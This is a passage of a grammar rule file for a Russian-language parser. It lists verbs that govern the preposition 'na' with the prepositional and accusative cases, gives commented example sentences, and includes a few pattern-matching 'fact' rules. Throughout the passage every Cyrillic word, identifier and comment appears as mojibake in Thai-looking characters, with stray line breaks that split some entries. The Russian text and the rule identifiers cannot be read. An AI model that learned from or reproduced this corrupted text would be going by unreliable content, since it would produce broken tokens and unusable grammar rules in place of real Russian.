rus_verbs:ะณัะตัั{}, // ะณัะตัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ัะฐัััะถะดะฐัั{}, // ัะฐัััะถะดะฐัั ะฝะฐ ัััะฐะฝะธัะฐั
ัะฒะพะตะน ะบะฝะธะณะธ
rus_verbs:ะพะบััะถะฐัั{}, // ะพะบััะถะฐัั ะฝะฐ ะพัััะพะฒะต
rus_verbs:ัะพะฟัะพะฒะพะถะดะฐัั{}, // ัะพะฟัะพะฒะพะถะดะฐัั ะฝะฐ ะพั
ะพัะต
rus_verbs:ะทะฐะบะฐะฝัะธะฒะฐัััั{}, // ะทะฐะบะฐะฝัะธะฒะฐัััั ะฝะฐ ัะฐะผะพะผ ะธะฝัะตัะตัะฝะพะผ ะผะตััะต
rus_verbs:ัะพะดะตัะถะฐัััั{}, // ัะพะดะตัะถะฐัััั ะฝะฐ ะฟัะธััะฐะดะตะฑะฝะพะผ ััะฐััะบะต
rus_verbs:ะฟะพัะตะปะธัััั{}, // ะฟะพัะตะปะธัััั ะฝะฐ ะดะฐัะต
rus_verbs:ะทะฐะฟะตัั{}, // ะทะฐะฟะตัั ะฝะฐ ััะตะฝะต
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพะฒะพะทะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฟัะพะฒะพะทะธัั ะฝะฐ ัะตะปะต
ะณะปะฐะณะพะป:ะฟัะพะฒะพะทะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟัะพะฒะตะทะตะฝะฝัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟัะพะฒะพะทะธะฒัะธะน{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟัะพะฒะพะทััะธะน{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฟัะพะฒะพะทั{},
rus_verbs:ะผะพัะธัั{}, // ะผะพัะธัั ะฝะฐ ะผะตััะต
rus_verbs:ะฟัะตัะปะตะดะพะฒะฐัั{}, // ะฟัะตัะปะตะดะพะฒะฐัั ะฝะฐ ัะตััะธัะพัะธะธ ะดััะณะพะณะพ ััะฐัะฐ
rus_verbs:ะฟัะพะปะตัะตัั{}, // ะฟัะพะปะตัะตะป ะฝะฐ ะฟะฐัะฐะฟะปะฐะฝะต
rus_verbs:ะดัะฐัััั{}, // ะดัะฐัััั ะฝะฐ ัะฐะฟะธัะฐั
rus_verbs:ะฟัะพัะธะดะตัั{}, // ะฟัะพัะธะดะตัั ะฝะฐ ะทะฐะฝััะธัั
rus_verbs:ัะฑะธัะฐัััั{}, // ัะฑะธัะฐัััั ะฝะฐ ะฑะฐะปะบะพะฝะต
rus_verbs:ัะฐััั{}, // ัะฐััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฟัะพะฒะตัััั{}, // ะฟัะพะฒะตัััั ะฝะฐ ะฟะพะปะธะณัะฐัะต
rus_verbs:ัะฑะตะถะดะฐัั{}, // ัะฑะตะถะดะฐัั ะฝะฐ ะฟัะธะผะตัะต
rus_verbs:ัะบะพะปัะทะธัั{}, // ัะบะพะปัะทะธัั ะฝะฐ ะปัะดั
rus_verbs:ะฟัะธะพะฑัะตัะฐัั{}, // ะฟัะธะพะฑัะตัะฐัั ะฝะฐ ัะฐัะฟัะพะดะฐะถะต
rus_verbs:ะปะตัะฐัั{}, // ะปะตัะฐัั ะฝะฐ ะผะตัะปะต
rus_verbs:ัะพะปะฟะธัััั{}, // ัะพะปะฟะธัััั ะฝะฐ ะฟะตััะพะฝะต
rus_verbs:ะฟะปะฐะฒะฐัั{}, // ะฟะปะฐะฒะฐัั ะฝะฐ ะฝะฐะดัะฒะฝะพะผ ะผะฐััะฐัะต
rus_verbs:ะพะฟะธััะฒะฐัั{}, // ะพะฟะธััะฒะฐัั ะฝะฐ ัััะฐะฝะธัะฐั
ะฟะพะฒะตััะธ
rus_verbs:ะฟัะพะฑััั{}, // ะฟัะพะฑััั ะฝะฐ ัะพะปะฝัะต ัะปะธัะบะพะผ ะดะพะปะณะพ
rus_verbs:ะทะฐัััััั{}, // ะทะฐัััััั ะฝะฐ ะฒะตัั
ะฝะตะผ ััะฐะถะต
rus_verbs:ะผะตัะฐัััั{}, // ะผะตัะฐัััั ะฝะฐ ะฟะพะปั
rus_verbs:ัะถะตัั{}, // ัะถะตัั ะฝะฐ ะบะพัััะต
rus_verbs:ัะฐััะปะฐะฑะธัััั{}, // ัะฐััะปะฐะฑะธัััั ะฝะฐ ะบััะตัะบะต
rus_verbs:ััะปัั
ะฐัั{}, // ััะปัั
ะฐัั ะฝะฐ ััะฝะบะต
rus_verbs:ัะดะตัะถะฐัั{}, // ัะดะตัะถะฐัั ะฝะฐ ะฟัะตะถะฝะตะผ ััะพะฒะฝะต
rus_verbs:ะพะฑัะฐะทะพะฒะฐัััั{}, // ะพะฑัะฐะทะพะฒะฐัััั ะฝะฐ ะดะฝะต
rus_verbs:ัะฐััะผะพััะตัั{}, // ัะฐััะผะพััะตัั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ ัะธะฟะฐ
rus_verbs:ัะตะทะถะฐัั{}, // ัะตะทะถะฐัั ะฝะฐ ะฟะพะฟััะบะต
rus_verbs:ะฟะพั
ะพัะพะฝะธัั{}, // ะฟะพั
ะพัะพะฝะธัั ะฝะฐ ะทะฐะบัััะพะผ ะบะปะฐะดะฑะธัะต
rus_verbs:ะฝะฐััะพััั{}, // ะฝะฐััะพััั ะฝะฐ ะฟะตัะตัะผะพััะต ะพัะตะฝะพะบ
rus_verbs:ัะฐัััะฝััััั{}, // ัะฐัััะฝััััั ะฝะฐ ะณะพัััะตะผ ะฟะตัะบะต
rus_verbs:ะฟะพะบัััะธัั{}, // ะฟะพะบัััะธัั ะฝะฐ ัะตััะต
rus_verbs:ะพะฑะฝะฐััะถะธัััั{}, // ะพะฑะฝะฐััะถะธัััั ะฝะฐ ะฑะพะปะพัะต
rus_verbs:ะณัะปััั{}, // ะณัะปััั ะฝะฐ ัะฒะฐะดัะฑะต
rus_verbs:ััะพะฝััั{}, // ััะพะฝััั ะฝะฐ ะบััะพััะต
rus_verbs:ั
ัะฐะฝะธัััั{}, // ั
ัะฐะฝะธัััั ะฝะฐ ะดะตะฟะพะทะธัะต
rus_verbs:ัะฐะฝัะตะฒะฐัั{}, // ัะฐะฝัะตะฒะฐัั ะฝะฐ ัะฒะฐะดัะฑะต
rus_verbs:ัััะดะธัััั{}, // ัััะดะธัััั ะฝะฐ ะทะฐะฒะพะดะต
ะธะฝัะธะฝะธัะธะฒ:ะทะฐััะฟะฐัั{ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะทะฐััะฟะฐัั ะฝะฐ ะบัะพะฒะฐัะธ
ะณะปะฐะณะพะป:ะทะฐััะฟะฐัั{ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน ะฒะธะด:ะฝะตัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะทะฐััะฟะฐั{ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะทะฐััะฟะฐะฒัะธะน{ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะทะฐััะฟะฐััะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน }, // ัะตะฑะตะฝะพะบ, ะทะฐััะฟะฐััะธะน ะฝะฐ ััะบะฐั
rus_verbs:ัััะธัั{}, // ัััะธัั ะฝะฐ ะพัะบัััะพะผ ะฒะพะทะดัั
ะต
rus_verbs:ะทะฐัะตะฒะตะปะธัััั{}, // ะทะฐัะตะฒะตะปะธัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะพะฑะดัะผัะฒะฐัั{}, // ะพะฑะดัะผัะฒะฐัั ะฝะฐ ะดะพััะณะต
rus_verbs:ะดะพะบะปะฐะดัะฒะฐัั{}, // ะดะพะบะปะฐะดัะฒะฐัั ะฝะฐ ะฝะฐััะฝะพะน ะบะพะฝัะตัะตะฝัะธะธ
rus_verbs:ะฟัะพะผะตะปัะบะฝััั{}, // ะฟัะพะผะตะปัะบะฝััั ะฝะฐ ัะบัะฐะฝะต
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดััะธะนัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะบะพะปะพะฝะฝะฐ, ะฝะฐั
ะพะดััะฐััั ะฝะฐ ะฝะธัะตะนะฝะพะน ัะตััะธัะพัะธะธ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐะฟะธัะฐะฝะฝัะน{}, // ัะปะพะฒะพ, ะฝะฐะฟะธัะฐะฝะฝะพะต ะฝะฐ ะทะฐะฑะพัะต
rus_verbs:ัะผะตัะฐัััั{}, // ะบะพะผะฟัััะตั, ัะผะตัะฐััะธะนัั ะฝะฐ ะปะฐะดะพะฝะธ
rus_verbs:ะพัะบัััั{}, // ะบะฝะธะณะฐ, ะพัะบัััะฐั ะฝะฐ ะฟะพัะปะตะดะฝะตะน ัััะฐะฝะธัะต
rus_verbs:ัะฟะฐัั{}, // ะนะพะณ, ัะฟััะธะน ะฝะฐ ะณะฒะพะทะดัั
rus_verbs:ะฟัะพะฑัะบัะพะฒัะฒะฐัั{}, // ะบะพะปะตัะพ, ะฟัะพะฑัะบัะพะฒัะฒะฐััะตะต ะฝะฐ ะพะฑะปะตะดะตะฝะตะปะพะผ ะฐััะฐะปััะต
rus_verbs:ะทะฐะฑัะบัะพะฒะฐัั{}, // ะบะพะปะตัะพ, ะทะฐะฑัะบัะพะฒะฐะฒัะตะต ะฝะฐ ะพะฑะปะตะดะตะฝะตะปะพะผ ะฐััะฐะปััะต
rus_verbs:ะพัะพะฑัะฐะทะธัััั{}, // ัะดะธะฒะปะตะฝะธะต, ะพัะพะฑัะฐะทะธะฒัะตะตัั ะฝะฐ ะปะธัะต
rus_verbs:ัะฒะธะดะตัั{}, // ะฝะฐ ะฟะพะปั ั ัะฒะธะดะตะป ััะธ-ัะพ ัะปะตะดั
rus_verbs:ะฒะธะดะตัั{}, // ะฝะฐ ะฟะพะปั ั ะฒะธะถั ััะธ-ัะพ ัะปะตะดั
rus_verbs:ะพััะฐะฒะธัั{}, // ะะตะป ะพััะฐะฒะธะป ะฝะฐ ะดะพัะบะต ะฑะตะปัะน ัะปะตะด.
rus_verbs:ะพััะฐะฒะปััั{}, // ะะตะป ะพััะฐะฒะปัะตั ะฝะฐ ะดะพัะบะต ะฑะตะปัะน ัะปะตะด.
rus_verbs:ะฒัััะตัะฐัััั{}, // ะฒัััะตัะฐัััั ะฝะฐ ะปะตะบัะธัั
rus_verbs:ะฟะพะทะฝะฐะบะพะผะธัััั{}, // ะฟะพะทะฝะฐะบะพะผะธัััั ะฝะฐ ะทะฐะฝััะธัั
rus_verbs:ััััะพะธัััั{}, // ะพะฝะฐ ััััะพะธะปะฐัั ะฝะฐ ะบัะพะฒะฐัะธ
rus_verbs:ะปะพะถะธัััั{}, // ะปะพะถะธัั ะฝะฐ ะฟะพะปั
rus_verbs:ะพััะฐะฝะฐะฒะปะธะฒะฐัััั{}, // ะพััะฐะฝะฐะฒะปะธะฒะฐัััั ะฝะฐ ะดะพััะธะณะฝััะพะผ
rus_verbs:ัะฟะพััะบะฐัััั{}, // ัะฟะพััะบะฐัััั ะฝะฐ ัะพะฒะฝะพะผ ะผะตััะต
rus_verbs:ัะฐัะฟะตัะฐัะฐัั{}, // ัะฐัะฟะตัะฐัะฐัั ะฝะฐ ะฑัะผะฐะณะต
rus_verbs:ัะฐัะฟะตัะฐััะฒะฐัั{}, // ัะฐัะฟะตัะฐััะฒะฐัั ะฝะฐ ะฑัะผะฐะณะต
rus_verbs:ะฟัะพัะผะพััะตัั{}, // ะฟัะพัะผะพััะตัั ะฝะฐ ะฑัะผะฐะณะต
rus_verbs:ะทะฐะบัะตะฟะปััััั{}, // ะทะฐะบัะตะฟะปััััั ะฝะฐ ะฟะปะฐัะดะฐัะผะต
rus_verbs:ะฟะพะณัะตัััั{}, // ะฟะพะณัะตัััั ะฝะฐ ัะพะปะฝััะบะต
rus_verbs:ะผะตัะฐัั{}, // ะะฝ ะผะตัะฐะป ะบัะฐัะบะธ ะฝะฐ ะฟะฐะปะธััะต.
rus_verbs:ะทะฐะฝััั{}, // ะะฝ ะทะฐะฝัะป ะฟะตัะฒะพะต ะผะตััะพ ะฝะฐ ัะพัะตะฒะฝะพะฒะฐะฝะธัั
.
rus_verbs:ะทะฐะณะพะฒะฐัะธะฒะฐัััั{}, // ะะฝ ะทะฐะณะพะฒะฐัะธะฒะฐะปัั ะธะฝะพะณะดะฐ ะฝะฐ ััะพะบะฐั
.
ะดะตะตะฟัะธัะฐััะธะต:ะถะตะฝะธะฒัะธัั{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฒะตะทัะธ{}, // ะะฝ ะฒะตะทัั ะฟะตัะพะบ ะฝะฐ ัะฐัะบะต.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะบะฐะทะฝะตะฝะฝัะน{}, // ะะฝ ะฑัะป ะบะฐะทะฝัะฝ ะฝะฐ ัะปะตะบััะธัะตัะบะพะผ ัััะปะต.
rus_verbs:ะฟัะพะถะธัั{}, // ะะฝ ะฑะตะทะฒัะตะทะดะฝะพ ะฟัะพะถะธะป ะฒัั ะปะตัะพ ะฝะฐ ะดะฐัะต.
rus_verbs:ะฟัะธะฝะตััะธ{}, // ะัะธัะธะฐะฝัะบะฐ ะฟัะธะฝะตัะปะฐ ะฝะฐะผ ะพะฑะตะด ะฝะฐ ะฟะพะดะฝะพัะต.
rus_verbs:ะฟะตัะตะฟะธัะฐัั{}, // ะะตัะตะฟะธัะธัะต ััั ััะบะพะฟะธัั ะฝะฐ ะผะฐัะธะฝะบะต.
rus_verbs:ะธะดัะธ{}, // ะะพะตะทะด ะธะดัั ะฝะฐ ะผะฐะปะพะน ัะบะพัะพััะธ.
rus_verbs:ะฟะตัั{}, // ะฟัะธัะบะธ ะฟะพัั ะฝะฐ ัะฐััะฒะตัะต
rus_verbs:ัะผะพััะตัั{}, // ะกะผะพััะธ ะฝะฐ ะพะฑะพัะพัะต.
rus_verbs:ะฟัะธะฑัะฐัั{}, // ะฟัะธะฑัะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ะฟัะธะฑัะฐัััั{}, // ะฟัะธะฑัะฐัััั ะฝะฐ ััะพะปะต
rus_verbs:ัะฐััะธัั{}, // ัะฐััะธัั ะบะฐะฟัััั ะฝะฐ ะพะณะพัะพะดะต
rus_verbs:ัะฐัะธัั{}, // ัะฐัะธัั ัะตะฑะตะฝะบะฐ ะฝะฐ ััะบะฐั
rus_verbs:ัะฑะธัะฐัั{}, // ัะฑะธัะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ะฟัะพััััั{}, // ะฏ ะฟัะพัััะป ะฝะฐ ะผะพัะพะทะต.
rus_verbs:ัะธััั{}, // ััะฝัะต ะทะฒะตะทะดั ะผะธัะฝะพ ัะธัะปะธ ะฝะฐ ะฑะตะทะพะฑะปะฐัะฝะพะผ ะฒะตัะตะฝะฝะตะผ ะฝะตะฑะต.
rus_verbs:ะฟัะพะฒะพะดะธัััั{}, // ัะฐะบะธะต ัะบัะฟะตัะธะผะตะฝัั ะฝะต ะฟัะพะฒะพะดัััั ะฝะฐ ะฒะพะดะต
rus_verbs:ะดะพััะฐัั{}, // ะฏ ะฝะต ะผะพะณั ะดะพััะฐัั ะดะพ ัะฑะปะพะบ ะฝะฐ ะฒะตัั
ะฝะธั
ะฒะตัะบะฐั
.
rus_verbs:ัะฐัะฟะปััััั{}, // ะงะตัะฝะธะปะฐ ัะฐัะฟะปัะปะธัั ะฝะฐ ะฟะปะพั
ะพะน ะฑัะผะฐะณะต.
rus_verbs:ะฒัะบะพัะธัั{}, // ะฃ ะฝะตะณะพ ะฒัะบะพัะธะป ะฟััั ะฝะฐ ะฝะพัั.
rus_verbs:ัะฒะธัั{}, // ะฃ ะฝะฐั ะฝะฐ ะฑะฐะปะบะพะฝะต ะฒะพัะพะฑะตะน ัะฒะธะป ะณะฝะตะทะดะพ.
rus_verbs:ะพัะพัะฒะฐัััั{}, // ะฃ ะผะตะฝั ะฝะฐ ะฟะฐะปััะพ ะพัะพัะฒะฐะปะฐัั ะฟัะณะพะฒะธัะฐ.
rus_verbs:ะฒะพัั
ะพะดะธัั{}, // ะกะพะปะฝัะต ะฒะพัั
ะพะดะธั ะฝะฐ ะฒะพััะพะบะต.
rus_verbs:ะฑะปะตััะตัั{}, // ะกะฝะตะณ ะฑะปะตััะธั ะฝะฐ ัะพะปะฝัะต.
rus_verbs:ะฟะพะฑะธัั{}, // ะ ััะฐะบ ะฟะพะฑะธะป ะฒัะตั
ะปะพัะฐะดะตะน ะฝะฐ ัะบะฐัะบะฐั
.
rus_verbs:ะปะธัััั{}, // ะ ะตะบะธ ะบัะพะฒะธ ะปััััั ะฝะฐ ะฒะพะนะฝะต.
rus_verbs:ะดะตัะถะฐัััั{}, // ะ ะตะฑัะฝะพะบ ัะถะต ัะฒััะดะพ ะดะตัะถะธััั ะฝะฐ ะฝะพะณะฐั
.
rus_verbs:ะบะปัะฑะธัััั{}, // ะัะปั ะบะปัะฑะธััั ะฝะฐ ะดะพัะพะณะต.
ะธะฝัะธะฝะธัะธะฒ:ะฝะฐะฟะธัะฐัั{ aux stress="ะฝะฐะฟะธั^ะฐัั" }, // ะขั ะดะพะปะถะตะฝ ะฝะฐะฟะธัะฐัั ััะฐััั ะฝะฐ ะฐะฝะณะปะธะนัะบะพะผ ัะทัะบะต
ะณะปะฐะณะพะป:ะฝะฐะฟะธัะฐัั{ aux stress="ะฝะฐะฟะธั^ะฐัั" }, // ะะฝ ะฝะฐะฟะธัะฐะป ััะฐััั ะฝะฐ ััััะบะพะผ ัะทัะบะต.
// ะณะปะฐะณะพะป:ะฝะฐั
ะพะดะธัััั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะผะพะน ะฟะพะตะทะด ะฝะฐั
ะพะดะธััั ะฝะฐ ะฟะตัะฒะพะผ ะฟััะธ
// ะธะฝัะธะฝะธัะธะฒ:ะฝะฐั
ะพะดะธัััั{ะฒะธะด:ะฝะตัะพะฒะตัั},
rus_verbs:ะถะธัั{}, // ะัะปะพ ะธะฝัะตัะตัะฝะพ ะถะธัั ะฝะฐ ะบััะพััะต.
rus_verbs:ะฟะพะฒะธะดะฐัั{}, // ะะฝ ะผะฝะพะณะพ ะฟะพะฒะธะดะฐะป ะฝะฐ ัะฒะพัะผ ะฒะตะบั.
rus_verbs:ัะฐะทัะตะทะถะฐัััั{}, // ะะพะณะธ ัะฐะทัะตะทะถะฐัััั ะฝะต ัะพะปัะบะพ ะฝะฐ ะปัะดั.
rus_verbs:ัะฐัะฟะพะปะพะถะธัััั{}, // ะะฑะฐ ัะตะปะฐ ัะฐัะฟะพะปะพะถะธะปะธัั ะฝะฐ ะฑะตัะตะณั ัะตะบะธ.
rus_verbs:ะพะฑัััะฝััััั{}, // ะะฝะธ ะพะฑัััะฝััััั ะฝะฐ ะธะฝะพัััะฐะฝะฝะพะผ ัะทัะบะต.
rus_verbs:ะฟัะพัะฐัััั{}, // ะะฝะธ ะดะพะปะณะพ ะฟัะพัะฐะปะธัั ะฝะฐ ะฒะพะบะทะฐะปะต.
rus_verbs:ัะฐะฑะพัะฐัั{}, // ะะฝะฐ ัะฐะฑะพัะฐะตั ะฝะฐ ัะบะฐัะบะพะน ัะฐะฑัะธะบะต.
rus_verbs:ะบัะฟะธัั{}, // ะะฝะฐ ะบัะฟะธะปะฐ ะผะพะปะพะบะพ ะฝะฐ ััะฝะบะต.
rus_verbs:ะฟะพะผะตััะธัััั{}, // ะัะต ะบะฝะธะณะธ ะฟะพะผะตััะธะปะธัั ะฝะฐ ะฟะพะปะบะต.
ะณะปะฐะณะพะป:ะฟัะพะฒะพะดะธัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, ะธะฝัะธะฝะธัะธะฒ:ะฟัะพะฒะพะดะธัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะัะถะฝะพ ะฟัะพะฒะพะดะธัั ัะตะพัะธั ะฝะฐ ะฟัะฐะบัะธะบะต.
rus_verbs:ะฟะพะถะธัั{}, // ะะตะดะพะปะณะพ ะพะฝะฐ ะฟะพะถะธะปะฐ ะฝะฐ ัะฒะตัะต.
rus_verbs:ะบัะฐัะฝะตัั{}, // ะะตะฑะพ ะบัะฐัะฝะตะตั ะฝะฐ ะทะฐะบะฐัะต.
rus_verbs:ะฑัะฒะฐัั{}, // ะะฐ ะะพะปะณะต ะฑัะฒะฐะตั ัะธะปัะฝะพะต ะฒะพะปะฝะตะฝะธะต.
rus_verbs:ะตั
ะฐัั{}, // ะั ััะดะฐ ะตั
ะฐะปะธ ะฝะฐ ะฐะฒัะพะฑััะต.
rus_verbs:ะฟัะพะฒะตััะธ{}, // ะั ะฟัะพะฒะตะปะธ ะผะตััั ะฝะฐ ะดะฐัะต.
rus_verbs:ะฟะพะทะดะพัะพะฒะฐัััั{}, // ะั ะฟะพะทะดะพัะพะฒะฐะปะธัั ะฟัะธ ะฒัััะตัะต ะฝะฐ ัะปะธัะต.
rus_verbs:ัะฐััะธ{}, // ะัะฑัะทั ัะฐัััั ัะตะฟะตัั ะฝะต ัะพะปัะบะพ ะฝะฐ ัะณะต.
ะะ_ะะะค(ัะธะดะตัั), // ััะธ ะฑะพะปััะธั
ะฟัะฐ ัะธะดัั ะฝะฐ ััะฐะฒะต
ะะ_ะะะค(ัะตััั), // ััะธ ะฑะพะปััะธั
ะฟัะฐ ัะตะปะธ ะฝะฐ ััะฐะฒั
ะะ_ะะะค(ะฟะตัะตะฒะตัะฝััััั), // ะะฐ ะดะพัะพะณะต ะฟะตัะตะฒะตัะฝัะปัั ะฐะฒัะพะผะพะฑะธะปั
ะะ_ะะะค(ะฟะพะฒะตะทัะธ), // ั ะฟะพะฒะตะทั ัะตะฑั ะฝะฐ ะผะฐัะธะฝะต
ะะ_ะะะค(ะพัะฒะตะทัะธ), // ะผั ะพัะฒะตะทะตะผ ัะตะฑั ะฝะฐ ัะฐะบัะธ
ะะ_ะะะค(ะฟะธัั), // ะฟะธัั ะฝะฐ ะบัั
ะฝะต ัะฐะน
ะะ_ะะะค(ะฝะฐะนัะธ), // ะฝะฐะนัะธ ะฝะฐ ะพัััะพะฒะต
ะะ_ะะะค(ะฑััั), // ะฝะฐ ััะธั
ะบะพัััั
ะตััั ัะปะตะดั ะทัะฑะพะฒ
ะะ_ะะะค(ะฒััะฐะดะธัััั), // ะฟะพะผะพัะฝะธะบะธ ะฒััะฐะดะธะปะธัั ะฝะฐ ะพัััะพะฒะต
ะะ_ะะะค(ะดะตะปะฐัั),ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะดะตะปะฐััะธะน{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะดะตะปะฐะฒัะธะน{}, ะดะตะตะฟัะธัะฐััะธะต:ะดะตะปะฐั{}, // ัะผะพััั ัะธะปัะผ ะพ ัะพะผ, ััะพ ะฟะธัะฐัั ะดะตะปะฐะปะธ ะฝะฐ ะฝะตะพะฑะธัะฐะตะผะพะผ ะพัััะพะฒะต
ะะ_ะะะค(ัะปััะธัััั), // ััะพ ัะปััะธะปะพัั ะฝะฐ ะพะฟััะบะต ะปะตัะฐ
ะะ_ะะะค(ะฟัะพะดะฐัั),
ะะ_ะะะค(ะตััั) // ะบะพัะบะธ ะตะปะธ ะผะพะน ะบะพัะผ ะฝะฐ ะฟะตััะฐะฝะพะผ ะฑะตัะตะณั
}
#endregion VerbList
// ะงัะพะฑั ัะฐะทัะตัะธัั ัะฒัะทัะฒะฐะฝะธะต ะฒ ะฟะฐััะตัะฝะฐั
ัะธะฟะฐ: ัะผะพััะตัั ะฝะฐ youtube
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะัะตะดะป ะฟัะตะดะปะพะณ:ะฒ{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะัะตะดะป ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ะฟะฐะดะตะถ:ะฟัะตะดะป} }
then return true
}
// ะปะพะบะฐัะธะฒ
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะัะตะดะป ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ะฟะฐะดะตะถ:ะผะตัั} }
then return true
}
#endregion ะะ ะะะะะะะซะ
#region ะะะะะขะะะฌะะซะ
// ะะ+ะฒะธะฝะธัะตะปัะฝัะน ะฟะฐะดะตะถ:
// ะะะะะ ะะขะฌะกะฏ ะะ ะะะ ะจะะะฃ ะะะ ะซ
#region VerbList
wordentry_set ะะป_ะะ_ะะธะฝ=
{
rus_verbs:ะฟะตัะตะผะตัะฝััััั{}, // ะะต ะฒะทะณะปัะด ัะฐััะตััะฝะฝะพ ะฟะตัะตะผะตัะฝัะปัั ะฝะฐ ะะธะปะธ.
rus_verbs:ะพัะพะณะฝะฐัั{}, // ะะพะดะธัะตะปั ะพัะพะณะฝะฐะป ะผะฐัะธะฝั ะฝะฐ ััะพัะฝะบั.
rus_verbs:ัะฐะฟะฐัั{}, // ะะต ัะฐะฟะฐะน ะฝะฐ ะถะตะปััะบ ะธ ะฝะต ะฟะตัะตะฑะธะฒะฐะน.
rus_verbs:ัะผะฝะพะถะธัั{}, // ะฃะผะฝะพะถััะต ััะพ ะบะพะปะธัะตััะฒะพ ะฟัะธะผะตัะฝะพ ะฝะฐ 10.
//rus_verbs:ัะผะฝะพะถะฐัั{},
rus_verbs:ะพัะบะฐัะธัั{}, // ะัะบะฐัะธะป ะจะฟะฐะบ ะฒะฐะปัะฝ ะฝะฐ ัะปัั
ะธ ะฟะตัะตะบััะป ะธะผ ะดะพัะพะณั.
rus_verbs:ะพัะบะฐััะฒะฐัั{},
rus_verbs:ะดะพะฝะพัะธัั{}, // ะะพั ะธ ะฟะพะฑะตะถะฐะปะธ ะฝะฐ ะฒะฐั ะดะพะฝะพัะธัั.
rus_verbs:ะดะพะฝะตััะธ{},
rus_verbs:ัะฐะทะฑะธัะฐัั{}, // ะะพัะพะฒะฐะฝะฝัะต ะฐะฒัะพะผะพะฑะธะปะธ ะทะปะพัะผััะปะตะฝะฝะธะบะธ ัะฐะทะฑะธัะฐะปะธ ะฝะฐ ะทะฐะฟัะฐััะธ ะธ ะฟัะพะดะฐะฒะฐะปะธ.
ะฑะตะทะปะธั_ะณะปะฐะณะพะป:ั
ะฒะฐัะธั{}, // - ะะฐ ะพะดะฝั ะฐัะฐะบั ั
ะฒะฐัะธั.
rus_verbs:ัะบัะฟะธัััั{}, // ะะฝ ััะฐะถะฐะปัั ะทะฐ ะถะธะทะฝั, ะฝะต ัะบัะฟััั ะฝะฐ ั
ะธััะพััะธ ะธ ััะธะปะธั, ะธ ะฟะพะบะฐ ััะพั ััะธะปั ะดะฐะฒะฐะป ะฝะตะฟะปะพั
ะธะต ัะตะทัะปััะฐัั.
rus_verbs:ะฟะพัะบัะฟะธัััั{}, // ะะต ะฟะพัะบัะฟะธัั ะฝะฐ ะฟะพั
ะฒะฐะปั!
rus_verbs:ะฟะพะดัะผะฐัััั{},
rus_verbs:ััะฐะฝัะฟะพััะธัะพะฒะฐัััั{},
rus_verbs:ะฑะฐั
ะฝััั{}, // ะะฐั
ะฝััั ััะฐะบะฐะฝ ะฝะฐ ะฟะพะป
rus_verbs:ะ ะะะะะะะขะฌ{}, // ะัะตะทะธะดะตะฝััะบะธะต ะฒัะฑะพัั ัะฐะทะดะตะปะธะปะธ ะะตะฝะตัััะปั ะฝะฐ ะดะฒะฐ ะฝะตะฟัะธะผะธัะธะผัั
ะปะฐะณะตัั (ะ ะะะะะะะขะฌ)
rus_verbs:ะะะฆะะะะะะขะฌะกะฏ{}, // ะะตะฒะดะฐะปะตะบะต ะฟัะพะปะตัะตะป ะบะพะฝะดะพั, ะฝะฐัะตะปะธะฒะฐััั ะฝะฐ ะฑะธะทะพะฝัั ัััั. (ะะะฆะะะะะะขะฌะกะฏ)
rus_verbs:ะะซะะะะกะะฃะขะฌ{}, // ะะธะทะบะธะน ะฒะธะฑัะธััััะธะน ะณัะป ะฝะฐะฟะพะผะธะฝะฐะป ะฒัะปะบะฐะฝ, ะฒะพั-ะฒะพั ะณะพัะพะฒัะน ะฒัะฟะปะตัะฝััั ะฝะฐ ะทะตะผะฝัั ัะฒะตัะดั ะฟะพัะพะบะธ ัะฐัะบะฐะปะตะฝะฝะพะน ะปะฐะฒั. (ะะซะะะะกะะฃะขะฌ)
rus_verbs:ะะกะงะะะะฃะขะฌ{}, // ะะฝะพ ัััะบะฝัะปะพ ะธ ะธััะตะทะปะพ ะฒ ะปะตัั ะฝะฐ ะดััะณะพะน ััะพัะพะฝะต ะดะพัะพะณะธ (ะะกะงะะะะฃะขะฌ)
